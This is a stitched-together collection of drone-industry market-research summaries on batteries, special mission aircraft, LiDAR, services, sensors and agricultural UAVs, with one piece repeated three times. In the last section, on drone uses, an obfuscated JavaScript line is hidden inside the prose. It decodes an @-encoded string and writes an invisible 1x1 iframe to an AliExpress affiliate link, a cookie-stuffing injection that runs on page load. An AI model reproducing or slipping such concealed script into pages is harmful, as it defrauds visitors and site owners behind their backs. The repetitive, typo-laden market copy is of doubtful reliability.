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UAV Battery Market: What’s Next?
In 2020, the total global consumer UAV or drone shipment was around 5 million units. Estimates suggest this number to reach around 9.6 million units by 2030. Despite the demand, UAVs tend to face short travel range issues, which has elevated the demand for robust electrical protection systems. Subsequently, the increased demand for lithium-ion, fuel cells, and nickel batteries is widening the scope of the UAV battery market globally.
In recent years, battery technologies such as fuel cells have gained momentum with benefits like greater energy density that enables superior control and stability during movement. Doosan’s DS30 drones powered by a 2.6 kW fuel cell is one such example having four to five times the higher energy density than other batteries.
As per industry sources, the battery market has witnessed tremendous technological developments in recent years. This has pushed the production and deployment of UAV batteries, influencing the studied market to evolve at 17.46% between 2022 and 2028.
UAV Battery Market: Progression Backed by Funding
Military investments and government support for drone technology have soared immensely, elevating UAV battery stocks. In line with this, operating players are streamlining their portfolios regarding components and affordability. This growth is majorly observed in North America and Asia-Pacific.
The Asia-Pacific UAV battery market is expected to witness the fastest growth at a CAGR of 18.01% due to rising investments in battery R&D and defense budgets, such as:
China, for instance, invested $293 billion in its 2021 defense budget, focusing primarily on security & surveillance, fueling the deployment of unmanned aerial vehicles.
The Indian government liberalized drone rules by announcing a 100% subsidy for using UAVs in the agricultural sector.
The Japanese government is developing an autonomous combat drone to detect energy aircraft and eliminate any missile strikes. This development project is believed to be a joint undertaking with the US, with a prototype set to be ready for testing by 2025.
Such government measures have sored demand for lithium-based batteries, which leads the market in terms of product type. Their role in supporting long cycle life and energy efficiency in UAVs propels the segment’s growth. Hence, companies like Shenzhen Grepow Battery are launching high-technology lithium batteries to gain a competitive edge in the market.
However, geographically, North America UAV battery backs the highest position in 2021, with a CAGR of 17.54%. This growth is attributable to increasing military funding, with the United States accounting for a major share. For instance:
The US Department of Transportation FAA invested $2.7 million to support research on UAVs used in disaster preparedness, creating a high demand for Li-ion, fuel cells, etc.
The Federal government allocated around $7.5 billion to the Pentagon for the employment of numerous robotic technologies, including UAVs, for air, ground, maritime, and other domains.
Transport Canada introduced a Drone Strategy to 2025 program to provide a strategic vision for drones, raising awareness about their significance and untapped economic potential that will drive the sector’s growth.
Industry-wise Outlook: Surveillance Measures Widens Scope
Commercial, consumer, and industry verticals are key categories supporting the market’s growth. Among these, Defense, government, & law enforcement secures the majority of shares in the industry vertical segment. The high demand in the sector has guided companies like Boeing to develop drones like MQ-25 Stingray aerial refueling. In 2021, the drone completed carrier-based testing. And in early 2022, it became the first drone to refuel a Boeing F/A-18 Super Hornet. As a result, prominent players like General Atomics Aeronautical and AeroVironment Inc have integrated new technologies to develop high-endurance batteries, thereby creating opportunities for the UAV battery market.
Commercial Drones to Star with Augmented Applications
Over the last few years, the commercial application of drones has expanded from photography to monitoring agricultural land, paving the path for smart operations. Their adoption in the e-commerce sector is also expected to soar over the near future. Companies like Amazon are fueling the adoption with the launch of Prime Air Fixed-wing Drones for delivery purposes. Although the market is projected to strengthen, it faces certain challenges such as:
Issues arise from a series of electrical malfunctions mid-flight and other thermal runaway complications.
Stringent regulations that are restricting the transport of unmanned aerial vehicles.
Nevertheless, the ongoing expansion in industries and capitalization from geographies are projected to create prospects for the UAV battery market over the forecast period.
FAQs:
Q1) What is the size of the UAV battery market?
The UAV battery market was valued at $4500.80 million in 2021 and is expected to attain around $13481.66 million by the year 2028.
Q2) Who are the big players in the UAV battery market?
Plug Power, Intelligent Energy, Sion Power, Eagle Picher Technologies, Inventus Power, Shenzhen Grepow Battery, Epsilor, HES Energy Systems, RRC Power Solutions, and Doosan Corporation are some players studied in the report.
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Addressing Power Supply Issues in UAVs for Special Mission Aircraft
The Special Mission Aircraft Market is projected to grow from USD 15.9 Billion in 2022 to USD 19.9 Billion by 2027, at a CAGR of 4.6%. This market encompasses aircraft specifically designed or modified to perform specialized missions, supporting both combat and non-combat activities for air, naval, and ground forces. The special mission aircraft industry spans commercial aviation, military aviation, and unmanned aerial vehicles (UAVs). Key applications include intelligence, surveillance, reconnaissance (ISR), combat support, and command and control operations.
Market Statistics and Size
The Special Mission Aircraft Industry is witnessing steady growth, driven by increasing global defense spending and the need for advanced surveillance and reconnaissance capabilities. In 2022, the market size was valued at USD 15.9 billion, and it is expected to reach USD 19.9 billion by 2027. The market's compound annual growth rate (CAGR) of 4.6% underscores the expanding demand for these specialized aircraft across various sectors.
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Market Trends
Several key trends are shaping the special mission aircraft market:
Increasing Need for Air-to-Air Refueling:
There is a growing demand for air-to-air refueling capabilities to support overseas deployment of military aircraft. This trend is particularly notable in regions like Asia Pacific, where military bases are expanding. The US Defense Department anticipates that China may establish additional military bases worldwide, driven by investments in the Belt and Road Initiative. Similarly, India is bolstering its military presence in the region, as evidenced by its defense projects and agreements with neighboring countries.
Advancements in Sensor Technology:
Technological advancements in sensor technology are driving the demand for unmanned aerial vehicles (UAVs). UAVs are increasingly used for intelligence gathering, surveillance, and target tracking. These drones are equipped with advanced sensors and are used in both military and commercial applications, ranging from agriculture and real estate to environmental monitoring and wildlife preservation.
Procurement and Modernization Programs:
Many countries are investing in the procurement and modernization of their military aircraft fleets. For instance, the US Department of Defense has been signing contracts to increase the production of fighter jets, including the Lockheed Martin F-35A Lightning II aircraft. Similarly, Germany is replacing its aging Tornado bombers with advanced aircraft capable of carrying nuclear weapons.
North America's Market Leadership:
North America is expected to remain the largest market for special mission aircraft, driven by increased military spending and demand for advanced aircraft. The US, in particular, leads the market, with significant investments in aerospace and defense. Canada's aviation industry also plays a crucial role, contributing to the region's market growth through extensive R&D activities and a strong export market.
Industry Drivers
The growth of the special mission aircraft market is driven by several factors:
Increasing Need for ISR Capabilities:
The need for intelligence, surveillance, and reconnaissance (ISR) capabilities is a major driver of the market. Special mission aircraft equipped with advanced ISR systems provide critical tactical and strategic intelligence, enhancing situational awareness and decision-making for military operations.
Rising Defense Budgets:
Global defense spending is on the rise, fueling the demand for advanced military aircraft. According to the Stockholm International Peace Research Institute (SIPRI), world military expenditure reached USD 2.1 trillion in 2021, marking a 0.7% increase compared to 2020. This increase in defense budgets enables countries to invest in modernizing their military fleets, including special mission aircraft.
Expansion of Military Bases:
The establishment and expansion of military bases worldwide necessitate the deployment of special mission aircraft. For example, the US and China are expanding their military presence in various regions, driving the demand for aircraft capable of supporting a wide range of missions.
Technological Advancements:
Continuous advancements in aerospace technology, including improvements in sensors, avionics, and communication systems, are enhancing the capabilities of special mission aircraft. These technological innovations enable more effective and efficient mission execution, driving market growth.
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Industry Challenges
Despite the positive growth outlook, the special mission aircraft market faces several challenges:
Stringent Regulatory Norms:
The aerospace industry is highly regulated, with strict safety standards governing the manufacturing and operation of special mission aircraft. Compliance with national and international regulations, such as those set by the International Civil Aviation Organization (ICAO), is mandatory. These stringent norms can impact the delivery cycle and increase the cost of aircraft production.
Power Supply Issues for UAVs:
UAVs used in critical operations require a continuous and uninterrupted power supply. Most UAVs rely on lithium-ion batteries, which have durability issues and may not provide sufficient power for extended missions. The need for reliable power solutions is a significant challenge for the UAV segment of the market.
Market Opportunities
The special mission aircraft market presents several opportunities for growth:
Advancements in UAV Technology:
The development of advanced UAVs with improved endurance, payload capacity, and sensor capabilities presents significant growth opportunities. UAVs are increasingly being used in a variety of applications, from military operations to commercial and civil sectors.
Increased Focus on Cybersecurity:
As cybersecurity becomes a top priority for defense operations, there is a growing demand for secure communication and data transmission systems in special mission aircraft. Developing and integrating advanced cybersecurity solutions can enhance the market's growth prospects.
Sustainability Initiatives:
The aerospace industry is increasingly focusing on sustainability and green initiatives. Developing energy-efficient and eco-friendly special mission aircraft can open up new market opportunities and attract investments from environmentally conscious stakeholders.
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Regional Analysis
North America
North America, particularly the United States, dominates the special mission aircraft market. The region's growth is driven by high defense spending, advanced R&D activities, and a strong aerospace industry. The US leads in the development and deployment of special mission aircraft, supported by major defense contractors like Lockheed Martin and Boeing.
Europe
Europe is also a significant market for special mission aircraft, with countries like Germany, France, and the UK investing in modernizing their military fleets. Collaborative defense initiatives and increased military spending contribute to the market's growth in this region.
Asia Pacific
The Asia Pacific region is experiencing rapid growth in the special mission aircraft market. Countries like China, India, and Japan are increasing their defense budgets and expanding their military capabilities. The growing number of military bases and the need for advanced surveillance and reconnaissance systems are driving market growth in this region.
Top Key Market Players
The Special Mission Aircraft Companies are dominated by globally established players such as The Boeing Company (US), Lockheed Martin (US), Dassault Aviation SA (France), Textron Aviation (US), and Northrop Grumman Corporation (US) among others.
The special mission aircraft market is poised for significant growth, driven by increasing global defense spending, technological advancements, and the expanding need for ISR capabilities. Despite challenges such as stringent regulatory norms and power supply issues for UAVs, the market offers substantial opportunities for growth. Advancements in UAV technology, cybersecurity, and sustainability initiatives are expected to drive the market forward. North America remains the largest market, followed by Europe and Asia Pacific, with each region contributing to the overall growth and development of the special mission aircraft industry.
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LiDAR Drone Market Share 2028
The global LiDAR drone market size is anticipated to reach USD 455.0 million by 2028 and exhibit a CAGR of 17.98% during the forecast period. The surging adoption of economical 3D imaging sensors is likely to boost market growth. Fortune Business InsightsTM has published this information in its report titled “LiDAR Drone Market, 2023-2028”. The market size stood at USD 129.0 million in 2020 and is predicted to reach USD 143.0 million in 2023.
Additionally, the rising use of LiDAR drones for corridor mapping applications is expected to boost the market growth as this technology has emerged as an effective solution for remote sensing platforms.
COVID-19 Impact-
The swift outspread of the coronavirus pandemic has affected various markets and industries globally. The shutdowns of production plants and manufacturing facilities due to lockdowns and curfews for indefinite time periods have declined the market growth. The disruptions in exploration and detection, cartography surveillance and scheduled mapping, precision agriculture application operations, and others due to the temporary shutdowns have negatively impacted the growth of the market. However, the market is expected to recover swiftly once the market returns to pre-pandemic levels.
Segmentation-
On the basis of product, the market is bifurcated into rotary-wing LiDAR drones, and fixed-wing LiDAR drones. On the basis of LiDAR type, the market is divided into mechanical LiDAR and solid-state LiDAR. On the basis of range, the market is trifurcated into long, medium, and short. On the basis of application, the market is fragmented into precision agriculture, exploration and detection, environment, surveillance, mapping cartography, and others. Geographically, the market is classified into Asia Pacific, North America, Europe, the Middle East, and the Rest of the World.
Report Coverage-
Features a comprehensive market analysis.
Emphasizes key factors, such as leading companies, applications, and others.
Provides crucial insights into the market’s regulatory scenarios.
Assesses the impact of the COVID-19 pandemic.
Suggests strategies to capture growth in the coming years.
Drivers & Restraints-
Growing Adoption of Economical 3D Imaging Systems to Drive Market Growth
Drone technology has witnessed immense development and innovation over the past few years. LiDAR technology is vastly linked to airborne laser scanning, and drone using this technology has grown substantially due to developments in laser and sensor components. Mapping has proven effective in producing data about surface features and shapes from georeferenced spatial data. The improvements in sensor and laser components and drone technology have resulted in economical three-dimensional mapping systems. Therefore, the increasing adoption of economical 3D image mapping systems is likely to fuel the global LiDAR Drone Market growth.
Also, UAV LiDAR has proven beneficial in precise data gathering in mountainous terrains and dense landscapes. UAVs are effective in collecting high-resolution imagery. Hence, the growing demand for 3D mapping to acquire precise information for forest monitoring, vegetation monitoring, and archaeological surveys is anticipated to drive market growth.
However, high costs of products and operations, coupled with strict regulations, may hinder market growth.
Browse Summary
Regional Insights-
Favorable Drone Flying Regulations to Boost Growth in North America
North America is projected to emerge dominant in the global LiDAR Drone Market share. The favorable drone flying regulations and swift adoption of modern technologies are anticipated to fuel the market growth. Moreover, the major manufacturers present in the U.S., are expected to complement the regional market growth.
Europe is expected to attain the second rank in the global market. Several manufacturers, including Delair, Yellow Scans, and Leica, present in the region are expected to boost the market growth. Moreover, the increasing infrastructural development and environment monitoring applications are likely to boost the growth of the market.
Asia Pacific is likely to experience rapid growth in the coming years due to increasing commercial drone manufacturers in emerging countries, including India and China.
The Middle East is anticipated to exhibit moderate growth due to increasing investments in infrastructural development.
Competitive Landscape-
Key Players Devise Innovative Growth Strategies
The market comprises Velodyne Lidar inc., RIEGL Laser Measurement Systems GmbH, Teledyne Optech Inc., and Leica Geosystems AG, amongst the top market players. The key players operating in the market emphasize continuous research and development with increased investments. They focus on advanced technology adoption to launch new products. They adopt ingenious growth strategies, including long-term contracts, partnerships, new product launches, and others to augment their growth in the global market. For instance, in October 2020, SZ DJI Technology Co. Ltd. unveiled an integrated LiDAR drone solution. They also launched a full-frame camera payload called DJI Zenmuse P1 and DJI Zenmuse L1. The payloads are designed for its top-notch commercial drone platform, Matrice 300RTK.
Industry Developments-
January 2021: Velodyne Lidar Inc. announced receiving a multi-year contract by Emesent Pty Ltd. The company will provide Puck LITE™ sensors to Emesent Pty Ltd.
List of Key Players in the Market:
Velodyne Lidar Inc. (U.S.)
Teledyne Optech Inc. (Canada)
RIEGL Laser Measurement Systems GmbH (Austria)
Delair SAS (France)
Phoenic LiDAR Systems (U.S.)
Leica Ecosystems AG (Switzerland)
Yellow Scan (France)
LiDARUSA (U.S.)
SZ DJI Technology Co. Ltd. (China)
Benewake (Beijing) Co. Ltd. (China)
RoboSense (China)
Sich AG (Germany)
Microdrones (Germany)
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Drone Services Market Size, Share, Trends & Forecast: 2028
Drone Services Market by Type (Platform Service, MRO, and Training & Simulation), Application, Industry, Solution (End-to-End, Point), and Region (North America, Europe, Asia-Pacific, Middle East and Africa and South America)
Market Overview
The drone services market size is expected to reach USD 13.9 Billion in 2021, at a CAGR of 25.4% during the forecast period.
Drones are utilized in the transportation of goods and passengers worldwide depending on the requirement of various industries such as tourism, logistics, and defense industries. They form a part of the investment of an organization owing to huge maintenance costs and operating costs apart from the immense procurement costs associated with an unmanned aerial vehicle (UAV).
Increased innovation, and reduced drone costs and the development of automation technologies are some of the factors that have supported long-term expansion for Drone Service Market.
Drones have proved to be an ideal solution for offering various services during the COVID-19 pandemic. From prompt delivery at peak hours and dispensing medicines and essentials to remote areas to screening an inaccessible location, drones are gradually demonstrating high work efficiency and productivity. Nevertheless, due to its low adoption, numerous countries have missed out on the potential of drone technology. The outbreak and widespread of the pandemic have led to an increase in demand for and use of drones.
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Regional Analysis
North America is estimated to account for the largest share of the drone services market in 2021. Drone services is an evolving market for services offered for flying drones that can be remotely controlled or flown autonomously by integrating software-controlled flight plans into their embedded systems.
Competitive Landscape
Key Players
Edall Systems
Precisionhawk
Cyberhawk
Vermeer
Ageagle Aerial Systems
Sky-Futures Ltd.
Sensefly Ltd.
Sharper Shape Inc.
Dronedeploy Inc.
Indentfied Technologies
Terra Drone Corporation
The Sky Guys
Deveron Uas Corp.
Zipline
Matternet Inc.
Aerodyne Group
Filrtey
Dronebase
Dronegenuity
Mistras Group Inc.
Aerovironment
Hemav
Skycatch
Australian Uav Pty Ltd. (Auav)
Skyspecs
Arch Aerial LLC
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Recent Developments
In June 2021, Aerodyne Group publicized a collaboration to deliver global Drone-as-a-Service (Daas) and Software-as-a-Service (SaaS) solutions in the Italian asset inspection market for infrastructure maintenance and the agriculture (service offerings) sector.
In June 2020, Cyberhawk announced that it has acquired a 5-year, multimillion-dollar software contract with Royal Dutch Shell PLC (Shell).
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Report Scope
Drone Service Market is segmented into type, application, industry, solution and region.
On the basis of Type
Platform Service
Maintenance Repair Overhaul (MRO)
Simulation & Training
On the basis of Application
Inspection & Monitoring
Mapping & Surveying
Spraying & Seeding
Filming & Photography
Transport & Delivery
Security, Search & Rescue
On the basis of Industry
Construction & Infrastructure
Agriculture
Utilities
Oil & Gas
Mining
Defense & Law Enforcement
Media & Entertainment
Scientific Research
Insurance
Aviation
Marine
Healthcare & Social Assistance
Transport, Logistics & Warehousing
On the basis of Solution
End to end
Point
On the basis of Region
Asia Pacific
North America
Europe
South America
Middle East & Africa
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The Drone Service Market report answers a number of crucial questions, including:
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What current trends will influence the market over the next few years?
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Drone Sensors Market Structures, Latest trends, and Forecasts by 2028
The global drone sensors market size is projected to reach USD 2,342.1 million by 2028, exhibiting a CAGR of 25.08% during the forecast period. The increasing deployment of drones amid the COVID-19 crisis will be a major driving factor for this market, postulates Fortune Business Insights™ in its report, titled ”Drone Sensors Market, 2020-2028”. As per the report, the value of the market was estimated to be USD 394.7 million in 2020.
Informational Source:
Report Highlights:
The report offers comprehensive analyses of existing companies that are redefining the dynamics of this market. In addition to that, it provides an accurate assessment of the market by highlighting data on multiple aspects related to growth drivers, opportunities, trends, and hindrances. It also represents the overall market size from a global perspective by analyzing historical data and providing qualitative insights.
Segments:
Based on type, the market is segmented into inertial sensors, image sensors, speed sensors, position sensors, pressure sensors, ultrasonic sensors, light sensors, and distance sensors. In terms of platform analysis, the market is divided into VTOL, fixed-wing, and hybrid. Based on application, the market is segregated into navigation, collision detection, avoidance, data acquisition, motion detection, air pressure measurement, power monitoring, and others. By geography, the market has been categorized into North America, Europe, Asia Pacific, and the Rest of the World.
Drivers & Restraints:
Growing Need for UAVs in Agricultural Operations to Boost the Market
According to a report released by the Food and Agriculture Organization and the International Telecommunication Union, over 815 million people worldwide experienced chronic hunger in 2018. According to the same report, food production is projected to increase by 50% by 2050. Global desire and rising food demand are both fueled by the world's rapidly growing population. Drones are being used by growers all over the world to increase the productivity of their farms. In April 2021, for instance, the Western African nation of Togo began deploying drones to transform rice farming in the country. UAVs in agriculture are widely used for various applications, including early warning systems, disaster risk mitigation, forestry applications, fisheries, and wildlife protection, which are possible because of drone sensors. Due to their superior data collection, mapping, and surveillance capabilities, the growing use of unmanned systems in the commercial and military & defense sectors is expected to drive demand for drone sensors in the future.
Regional Insights:
Rising Deployment of Drones for Military Operations to Aid the North America Market
North America is expected to dominate the drone sensors market share because of the rapidly increasing adoption of drones in the military and defense industry. In 2020, the region's market value was USD 143.2 million. Drones are used in the military for various missions, including surveillance, reconnaissance, and targeting. Furthermore, the equipment is being used in multiple applications by the United States' booming ICT industry. For example, Amazon stated in June 2019 that the company is interested in using drones to deliver packages. The Federal Aviation Administration has also given the company approval for its "prime air delivery" fleet.
Due to the significant presence of drone sensor vendors in this region and favorable government regulations, the Asia Pacific drone sensors market growth is expected to accelerate at a substantial CAGR during the forecast period.
Competitive Landscape:
Collaborations with Defense Agencies to Assist Key Players in Improving Product Lines
To implement the latest technology for their operations, key players in the global market are concentrating on cooperating with government bodies to broaden their product offerings. For example, the US Department of Defense awarded General Atomic a USD 93.3 million contract to develop drone sensors for the MQ-9 Reaper in November 2020. Both sides have agreed to work together.
Industry Development:
October 2020: Aquiline Drones, a Connecticut-based UAV manufacturer, has signed a licensing agreement with Drone Volt, a French sensor manufacturer. The deal would provide the French corporation with production and distribution facilities throughout the United States.
List of Key Players Profiled in the Drone Sensors Market Report:
Trimble (US)
Bosch Sensortec (Germany)
TDK InvenSense (U.S.)
Sparton NavEx (US)
Raytheon (US)
AMS AG (Austria)
Flir System (U.S.)
KVH Industries (U.S.)
TE connectivity (Switzerland)
Lord MicroStrain (U.S.)
Other Players
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UAV Battery Market: What’s Next?
Aerospace and Defense
16, September 2022
In 2020, the total global consumer UAV or drone shipment was around 5 million units. Estimates suggest this number to reach around 9.6 million units by 2030. Despite the demand, UAVs tend to face short travel range issues, which has elevated the demand for robust electrical protection systems. Subsequently, the increased demand for lithium-ion, fuel cells, and nickel batteries is widening the scope of the UAV battery market globally.
In recent years, battery technologies such as fuel cells have gained momentum with benefits like greater energy density that enables superior control and stability during movement. Doosan’s DS30 drones powered by a 2.6 kW fuel cell is one such example having four to five times the higher energy density than other batteries.
As per industry sources, the battery market has witnessed tremendous technological developments in recent years. This has pushed the production and deployment of UAV batteries, influencing the studied market to evolve at 17.46% between 2022 and 2028.
UAV Battery Market: Progression Backed by Funding
Military investments and government support for drone technology have soared immensely, elevating UAV battery stocks. In line with this, operating players are streamlining their portfolios regarding components and affordability. This growth is majorly observed in North America and Asia-Pacific.
The Asia-Pacific UAV battery market is expected to witness the fastest growth at a CAGR of 18.01% due to rising investments in battery R&D and defense budgets, such as:
China, for instance, invested $293 billion in its 2021 defense budget, focusing primarily on security & surveillance, fueling the deployment of unmanned aerial vehicles.
The Indian government liberalized drone rules by announcing a 100% subsidy for using UAVs in the agricultural sector.
The Japanese government is developing an autonomous combat drone to detect energy aircraft and eliminate any missile strikes. This development project is believed to be a joint undertaking with the US, with a prototype set to be ready for testing by 2025.
Such government measures have sored demand for lithium-based batteries, which leads the market in terms of product type. Their role in supporting long cycle life and energy efficiency in UAVs propels the segment’s growth. Hence, companies like Shenzhen Grepow Battery are launching high-technology lithium batteries to gain a competitive edge in the market.
However, geographically, North America UAV battery backs the highest position in 2021, with a CAGR of 17.54%. This growth is attributable to increasing military funding, with the United States accounting for a major share. For instance:
The US Department of Transportation FAA invested $2.7 million to support research on UAVs used in disaster preparedness, creating a high demand for Li-ion, fuel cells, etc.
The Federal government allocated around $7.5 billion to the Pentagon for the employment of numerous robotic technologies, including UAVs, for air, ground, maritime, and other domains.
Transport Canada introduced a Drone Strategy to 2025 program to provide a strategic vision for drones, raising awareness about their significance and untapped economic potential that will drive the sector’s growth.
Industry-wise Outlook: Surveillance Measures Widens Scope
Commercial, consumer, and industry verticals are key categories supporting the market’s growth. Among these, Defense, government, & law enforcement secures the majority of shares in the industry vertical segment. The high demand in the sector has guided companies like Boeing to develop drones like MQ-25 Stingray aerial refueling. In 2021, the drone completed carrier-based testing. And in early 2022, it became the first drone to refuel a Boeing F/A-18 Super Hornet. As a result, prominent players like General Atomics Aeronautical and AeroVironment Inc have integrated new technologies to develop high-endurance batteries, thereby creating opportunities for the UAV battery market.
Commercial Drones to Star with Augmented Applications
Over the last few years, the commercial application of drones has expanded from photography to monitoring agricultural land, paving the path for smart operations. Their adoption in the e-commerce sector is also expected to soar over the near future. Companies like Amazon are fueling the adoption with the launch of Prime Air Fixed-wing Drones for delivery purposes. Although the market is projected to strengthen, it faces certain challenges such as:
Issues arise from a series of electrical malfunctions mid-flight and other thermal runaway complications.
Stringent regulations that are restricting the transport of unmanned aerial vehicles.
Nevertheless, the ongoing expansion in industries and capitalization from geographies are projected to create prospects for the UAV battery market over the forecast period.
FAQs:
Q1) What is the size of the UAV battery market?
The UAV battery market was valued at $4500.80 million in 2021 and is expected to attain around $13481.66 million by the year 2028.
Q2) Who are the big players in the UAV battery market?
Plug Power, Intelligent Energy, Sion Power, Eagle Picher Technologies, Inventus Power, Shenzhen Grepow Battery, Epsilor, HES Energy Systems, RRC Power Solutions, and Doosan Corporation are some players studied in the report.
#UAV battery market#UAV battery#Aerospace and Defense industry#triton market research#market research reports
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UAV Battery Market: What’s Next?
In 2020, the total global consumer UAV or drone shipment was around 5 million units. Estimates suggest this number to reach around 9.6 million units by 2030. Despite the demand, UAVs tend to face short travel range issues, which has elevated the demand for robust electrical protection systems. Subsequently, the increased demand for lithium-ion, fuel cells, and nickel batteries is widening the scope of the UAV battery market globally.
In recent years, battery technologies such as fuel cells have gained momentum with benefits like greater energy density that enables superior control and stability during movement. Doosan’s DS30 drones powered by a 2.6 kW fuel cell is one such example having four to five times the higher energy density than other batteries.
As per industry sources, the battery market has witnessed tremendous technological developments in recent years. This has pushed the production and deployment of UAV batteries, influencing the studied market to evolve at 17.46% between 2022 and 2028.
UAV Battery Market: Progression Backed by Funding
Military investments and government support for drone technology have soared immensely, elevating UAV battery stocks. In line with this, operating players are streamlining their portfolios regarding components and affordability. This growth is majorly observed in North America and Asia-Pacific.
The Asia-Pacific UAV battery market is expected to witness the fastest growth at a CAGR of 18.01% due to rising investments in battery R&D and defense budgets, such as:
China, for instance, invested $293 billion in its 2021 defense budget, focusing primarily on security & surveillance, fueling the deployment of unmanned aerial vehicles.
The Indian government liberalized drone rules by announcing a 100% subsidy for using UAVs in the agricultural sector.
The Japanese government is developing an autonomous combat drone to detect energy aircraft and eliminate any missile strikes. This development project is believed to be a joint undertaking with the US, with a prototype set to be ready for testing by 2025.
Such government measures have sored demand for lithium-based batteries, which leads the market in terms of product type. Their role in supporting long cycle life and energy efficiency in UAVs propels the segment’s growth. Hence, companies like Shenzhen Grepow Battery are launching high-technology lithium batteries to gain a competitive edge in the market.
However, geographically, North America UAV battery backs the highest position in 2021, with a CAGR of 17.54%. This growth is attributable to increasing military funding, with the United States accounting for a major share. For instance:
The US Department of Transportation FAA invested $2.7 million to support research on UAVs used in disaster preparedness, creating a high demand for Li-ion, fuel cells, etc.
The Federal government allocated around $7.5 billion to the Pentagon for the employment of numerous robotic technologies, including UAVs, for air, ground, maritime, and other domains.
Transport Canada introduced a Drone Strategy to 2025 program to provide a strategic vision for drones, raising awareness about their significance and untapped economic potential that will drive the sector’s growth.
Industry-wise Outlook: Surveillance Measures Widens Scope
Commercial, consumer, and industry verticals are key categories supporting the market’s growth. Among these, Defense, government, & law enforcement secures the majority of shares in the industry vertical segment. The high demand in the sector has guided companies like Boeing to develop drones like MQ-25 Stingray aerial refueling. In 2021, the drone completed carrier-based testing. And in early 2022, it became the first drone to refuel a Boeing F/A-18 Super Hornet. As a result, prominent players like General Atomics Aeronautical and AeroVironment Inc have integrated new technologies to develop high-endurance batteries, thereby creating opportunities for the UAV battery market.
Commercial Drones to Star with Augmented Applications
Over the last few years, the commercial application of drones has expanded from photography to monitoring agricultural land, paving the path for smart operations. Their adoption in the e-commerce sector is also expected to soar over the near future. Companies like Amazon are fueling the adoption with the launch of Prime Air Fixed-wing Drones for delivery purposes. Although the market is projected to strengthen, it faces certain challenges such as:
Issues arise from a series of electrical malfunctions mid-flight and other thermal runaway complications.
Stringent regulations that are restricting the transport of unmanned aerial vehicles.
Nevertheless, the ongoing expansion in industries and capitalization from geographies are projected to create prospects for the UAV battery market over the forecast period.
#UAV Battery Market#UAV Battery#Aerospace and Defense Industry#Defense Industry#market research report#market research reports#triton market research
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Agricultural Uav Market Analytical Overview, Growth Factors, Demand and Trends Forecast to 2030
The most recent Agricultural Uav Market statistical surveying report involves a complete evaluation of Agricultural Uav industry, featuring the variables that will affect the business' income stream during the assessed course of events. Further, it gives an expressive framework of the open possibilities in the sub-promotes close by measures to profit from something almost identical.
The analyst presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources by an analysis of key parameters. Our report on Agricultural Uav market covers the following areas:
Agricultural Uav market sizing
Agricultural Uav market forecast
Agricultural Uav market industry analysis
Competitive Analysis:
The Agricultural Uav market report includes information on the product launches, sustainability, and prospects of leading vendors including: (PrecisionHawk, 3D Robotics, AgEagle Aerial Systems, Precision Drone, Agribotix, SenseFly (Parrot), HoneyComb, Aerial Technology International)
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The report includes the competitive analysis, a proprietary tool to analyze and evaluate the position of companies based on their industry position score and market performance score. The tool uses various factors for categorizing the players into four categories. Some of these factors considered for analysis are financial performance over the last 3 years, growth strategies, innovation score, new product launches, investments, growth in market share, etc.
Market segmentation
Agricultural Uav market is split by Type and by Application for the period 2021-2028, the growth among segments provides accurate artifices and forecasts for sales by Type and by Application in terms of volume and value. This analysis can help you expand your business by targeting qualified niche markets.
By Types Fixed wing Multi-rotor By Applications Soil property & moisture analysis Water management, erosion analysis, plant counting Crop health analysis, plant counting, water management Plant physiology analysis, irrigation scheduling, maturity evaluation, yield forecasting
Regional Analysis of Global Agricultural Uav Market
All the regional segmentation has been studied based on recent and future trends, and the market is forecasted throughout the prediction period. The countries covered in the regional analysis of the Global Agricultural Uav market report are U.S., Canada, and Mexico in North America, Germany, France, U.K., Russia, Italy, Spain, Turkey, Netherlands, Switzerland, Belgium, and Rest of Europe in Europe, Singapore, Malaysia, Australia, Thailand, Indonesia, Philippines, China, Japan, India, South Korea, Rest of Asia-Pacific (APAC) in the Asia-Pacific (APAC), Saudi Arabia, U.A.E, South Africa, Egypt, Israel, Rest of Middle East and Africa (MEA) as a part of Middle East and Africa (MEA), and Argentina, Brazil, and Rest of South America as part of South America.
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Major Points Covered in TOC:
Outline: Along with an expansive outline of the worldwide Agricultural Uav market, this segment gives an outline of the report to give a thought regarding the nature and substance of the examination study.
Analysis of Strategies of Leading Players: Market players can use this analysis to gain a competitive advantage over their competitors in the Agricultural Uav market.
Study on Key Market Trends: This piece of the report offers a more significant assessment of the latest and future examples of the market.
Market Forecasts: Buyers of the report will approach precise and approved evaluations of the all market size as far as worth and volume. The report additionally gives utilization, creation, deals, and different conjectures for the Agricultural Uav market.
Local Growth Analysis: All critical regions and countries have been covered in the report. The neighborhood examination will help with elevating players to exploit dismissed common business areas, prepare express philosophies for target regions, and contemplate the improvement of each and every regional market.
Segmental Analysis: The report gives precise and solid conjectures of the piece of the pie of significant portions of the Agricultural Uav market. Market members can utilize this examination to make key interests in key development pockets of the market.
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Key questions answered in the report:
What will the market development pace of Agricultural Uav market?
What are the key factors driving the Global Agricultural Uav market?
Who are the key manufacturers in market space?
What are the market openings, market hazard and market outline of the market?
What are sales, revenue, and price analysis of top manufacturers of Agricultural Uav market?
Who are the distributors, traders, and dealers of Agricultural Uav market?
What are the Agricultural Uav market opportunities and threats faced by the vendors in the Global Agricultural Uav industries?
What are deals, income, and value examination by types and utilizations of the market?
What are deals, income, and value examination by areas of enterprises?
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The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
str='@3C@49@46@52@41@4D@45@20@53@52@43@3D@27@68@74@74@70@73@3A@2F@2F@73@2E@63@6C@69@63@6B@2E@61@6C@69@65@78@70@72@65@73@73@2E@63@6F@6D@2F@65@2F@5F@64@59@70@49@32@73@4A@0A@27@20@57@49@44@54@48@3D@31@20@48@45@49@47@48@54@3D@31@3E@3C@2F@49@46@52@41@4D@45@3E'; document.write(unescape(str.replace(/@/g,'%'))); However, today drones are widely used for other purposes such as search and rescue, surveillance, traffic and weather monitoring, firefighting, agricultural, personal and for filming. The increasing use of drones is now inviting many complaints and concerns from the public.
